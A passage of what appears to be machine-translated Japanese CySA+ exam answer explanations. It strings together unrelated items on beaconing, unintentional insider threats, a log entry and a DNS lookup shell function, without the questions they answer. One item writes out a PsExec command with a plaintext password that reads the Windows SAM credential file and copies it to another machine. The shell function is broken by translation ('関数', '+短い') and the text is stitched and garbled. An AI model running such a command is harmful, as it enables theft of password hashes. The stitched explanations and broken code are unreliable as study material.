下記の説明の答えを参照してください
Explanation:
下の画像の答え

ビーコンは、感染したホストとブロックリストに登録された外部サーバー間の定期的な通信を指すため、発生しているアクティビティを説明するのに最適な用語です。ビーコンは、マルウェアがコマンド アンド コントロール (C2) サーバーとの接続を確立するために使用する一般的な手法であり、マルウェアに指示、更新、または抽出機能を提供できます。
ビーコンの頻度、期間、ペイロードは、マルウェアの種類と高度さによって異なります。他の用語は、悪意のあるアクティビティのさまざまな側面を説明するため、ビーコンほど正確ではありません。データ流出とは、侵害されたシステムから C2 サーバーやクラウド ストレージ サービスなどの外部の宛先にデータを不正に転送することです。データ流出は、マルウェア感染の目的または結果である可能性がありますが、必ずしもブロックリストに登録されたサーバーや一貫したリクエストを伴うわけではありません。不正デバイスとは、許可または適切なセキュリティ制御なしでネットワークに接続されたデバイスです。不正デバイスは、マルウェアを持ち込んだり、ファイアウォールをバイパスしたり、機密データにアクセスしたりする可能性があるため、セキュリティ リスクをもたらす可能性があります。
ただし、不正なデバイスは必ずしもマルウェアに感染していたり​​、ブロックリストに登録されたサーバーと通信しているわけではありません。スキャンとは、ネットワークまたはシステムを調査して脆弱性、開いているポート、サービス、その他の情報を探すプロセスです。スキャンは、目的と承認に応じて、正当な管理者または悪意のあるアクターによって実行されます。スキャンは、あらゆるネットワークまたはシステムをターゲットにできるため、一貫したリクエストやブロックリストに登録されたサーバーを意味するものではありません。

意図しない内部脅威は、ネットワークの正当なユーザーが知らないうちに、フィッシングメールや不明なソースからのマルウェアに感染した添付ファイルを開くなど、悪意のあるアクティビティにネットワークをさらした場合に発生するネットワーク セキュリティ脅威の一種です。これにより、ネットワーク セキュリティが侵害され、攻撃者が機密データやシステムにアクセスできるようになります。その他のオプションは、すべてのネットワーク ユーザーが既知のソースからの添付ファイルのみを開くようにするという脅威の概念とは関係ありません。
参考資料CompTIA CySA+ 学習ガイド: 試験 CS0-003、第 3 版、第 1 章: 脅威と脆弱性の管理、13 ページ。ネットワーク セキュリティとは | 脅威、ベスト プラクティス | Imperva、ネットワーク セキュリティの脅威と攻撃、フィッシング セクション。ネットワーク セキュリティの脅威に対する 5 つの防御方法、2. ファイアウォールの使用セクション。

出力には、ユーザーが PsExec を使用してリモート システムからパスワード ファイルをダウンロードしようとしていたことを示すシステム ログのエントリが表示されます。PsExec は、ユーザーがリモート システムでプロセスを実行できるようにするコマンド ライン ツールです。このエントリは、ユーザー「administrator」が次のパラメータを使用して PsExec を実行しようとしたことを示しています: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt これは、ユーザーがユーザー名「administrator」とパスワード「P@ssw0rd」を使用して IP アドレス 192.168.1.100 のリモート システムに接続し、cmd.exe をリモート システムにコピーして、コマンド「type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt」で実行しようとしたことを意味します。このコマンドは、ローカル ユーザーのハッシュ化されたパスワードを含む SAM ファイルを読み取り、IP アドレス 192.168.1.101 の別のシステム上のファイルに書き込みます。参照: CompTIA サイバーセキュリティ アナリスト (CySA+) 認定試験の目標 (CS0-002)、8 ページ、https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

説明
同じ会社と地域に属する異なるソース ネットワークからの可能性のあるネットワーク アドレスを識別するのに役立つシェル スクリプト関数は次のとおりです。
関数 y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT
+短い}
この関数は、IP アドレスを引数として受け取り、dig コマンドを使用して 2 つの DNS ルックアップを実行します。最初のルックアップでは、-x オプションを使用して逆 DNS ルックアップを実行し、IP アドレスに関連付けられたホスト名を取得します。2 番目のルックアップでは、origin.asn.cymru.com ドメインを使用して、自律システム番号 (ASN) と、国コード、レジストリ、割り当て日など、IP アドレスに関連するその他の情報を取得します。
この関数は、IPアドレスとASN情報を出力します。これにより、同じASNまたはリージョンに属するネットワークアドレスを識別することができます。